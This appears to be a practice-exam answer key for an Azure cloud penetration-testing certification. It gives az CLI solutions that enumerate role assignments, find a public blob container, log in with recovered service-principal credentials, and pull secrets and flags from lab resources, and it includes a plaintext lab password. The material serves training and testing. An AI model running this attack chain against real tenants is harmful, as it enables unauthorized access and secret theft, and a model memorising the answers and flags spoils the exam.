The SecOps Group CCPenX-Az Certified Cloud Pentesting eXpert - Azure Exam Practice Test

Tenant ID: 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a

Subscription ID: 5d8e44ac-24a9-43d9-9cb5-71b227a58021

Detailed Solution:

Log in with the supplied account:

az login -u james.ward@cloudcorpsec.onmicrosoft.com -p ' < password > '

Show the active Azure context:

az account show --output json

Expected relevant output:

{

" id " : " 5d8e44ac-24a9-43d9-9cb5-71b227a58021 " ,

" name " : " CloudCorp Security Lab " ,

" tenantDefaultDomain " : " cloudcorpsec.onmicrosoft.com " ,

" tenantId " : " 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a "

}

The tenantId is the Microsoft Entra tenant ID. The id field is the subscription ID.

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Detailed Solution:

Contributor allows broad management-plane operations but does not inherently grant secret-value retrieval from Key Vault data plane.

Test secret read:

az keyvault secret show \

--vault-name kv-finance-prod \

--name db-password \

--query value \

--output tsv

Expected failure:

Forbidden

Correct answer:

B. No, Contributor does not automatically grant Key Vault secret data-plane read

Key Vault access can be controlled by Azure RBAC or access policies, and secret read requires appropriate data-plane permission.

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olivia.admin@cloudcorpsec.onmicrosoft.com

Detailed Solution:

Run:

az role assignment list \

--resource-group rg-prod-apps-eastus \

--all \

--output table

Or filter by role:

az role assignment list \

--resource-group rg-prod-apps-eastus \

--role " User Access Administrator " \

--query " [].{Principal:principalName,Role:roleDefinitionName,Scope:scope} " \

--output table

Expected output:

Principal Role Scope

------------------------------------- ------------------------- ----------------------------

olivia.admin@cloudcorpsec.onmicrosoft.com User Access Administrator /subscriptions/.../rg-prod-apps-eastus

Final answer:

olivia.admin@cloudcorpsec.onmicrosoft.com

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Detailed Solution:

Resolve the service principal object ID:

az ad sp show \

--id c5fba7db-5e61-45bc-8944-3cd457bb19c2 \

--query id \

--output tsv

Then list role assignments:

SP_OBJECT_ID=$(az ad sp show \

--id c5fba7db-5e61-45bc-8944-3cd457bb19c2 \

--query id \

--output tsv)

az role assignment list \

--assignee " $SP_OBJECT_ID " \

--all \

--output table

Expected output:

Principal Role Scope

------------------------------------ ----------- ----------------------------------------

< sp-object-id > Contributor /subscriptions/5d8e44ac-...

Correct answer:

B. Contributor

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public-backups

Detailed Solution:

Try listing containers using Azure CLI:

az storage container list \

--account-name prodreportstore01 \

--auth-mode login \

--output table

If anonymous access is allowed, test via blob endpoint:

az storage blob list \

--account-name prodreportstore01 \

--container-name public-backups \

--auth-mode key \

--output table

In a lab, you can also test the public URL pattern:

https://prodreportstore01.blob.core.windows.net/public-backups/

Expected exposed container:

public-backups

Final answer:

public-backups

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Detailed Solution:

Use the app registration credentials recovered from blob storage.

az login --service-principal \

-u ' < client-id > ' \

-p ' < client-secret > ' \

--tenant f015f36d-c07f-41fb-9bde-fffc3a22ee8b

Confirm that you are authenticated as a service principal:

az account show

Now enumerate role assignments for the app registration.

az role assignment list \

--assignee ' < client-id > ' \

--all \

--output table

If the --assignee lookup fails, first resolve the service principal object ID:

az ad sp show \

--id ' < client-id > ' \

--query id \

--output tsv

Then query role assignments by object ID:

SP_OBJECT_ID=$(az ad sp show --id ' < client-id > ' --query id -o tsv)

az role assignment list \

--assignee " $SP_OBJECT_ID " \

--all \

--output table

The assigned role is:

Key Vault Secrets User

This role allows the principal to read secret values from Azure Key Vault. That is the lateral movement path into the final flag.

Final Answer:

A. Key Vault Secrets User

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Flag{app_settings_should_not_store_secrets}

Detailed Solution:

Query App Service settings:

az webapp config appsettings list \

--name finance-reporting-api \

--resource-group rg-prod-apps-eastus \

--output json

Search for suspicious keys:

az webapp config appsettings list \

--name finance-reporting-api \

--resource-group rg-prod-apps-eastus \

--query " [?contains(name, ' FLAG ' ) || contains(name, ' Flag ' ) || contains(name, ' SECRET ' )] " \

--output table

Expected output:

Name SlotSetting Value

---------- ------------- ----------------------------------------

APP_FLAG False Flag{app_settings_should_not_store_secrets}

The flag is:

Flag{app_settings_should_not_store_secrets}

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allowBlobPublicAccess: true

Detailed Solution:

Run:

az storage account show \

--name prodreportstore01 \

--resource-group rg-prod-apps-eastus \

--query " {Name:name,AllowBlobPublicAccess:allowBlobPublicAccess} " \

--output json

Expected output:

{

" Name " : " prodreportstore01 " ,

" AllowBlobPublicAccess " : true

}

This means public blob access is enabled at the storage-account level. That does not automatically mean every container is public, but it permits public container/blob exposure if configured.

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f015f36d-c07f-41fb-9bde-fffc3a22ee8b

Detailed Solution:

Log in using the supplied breached Azure account.

az login -u alex.johnson@azuresecops.onmicrosoft.com -p ' pg:Lr{k102l(fh7! '

After successful authentication, check the active Azure subscription context.

az account show

The important fields are:

{

" id " : " 7403ec86-c39d-4d80-9efa-35c7580ecefa " ,

" name " : " Azure subscription 1 " ,

" tenantDefaultDomain " : " azuresecops.onmicrosoft.com " ,

" tenantDisplayName " : " ExcaliburCorp " ,

" tenantId " : " f015f36d-c07f-41fb-9bde-fffc3a22ee8b "

}

The AAD / Microsoft Entra tenant ID is the tenantId.

Final Answer:

f015f36d-c07f-41fb-9bde-fffc3a22ee8b

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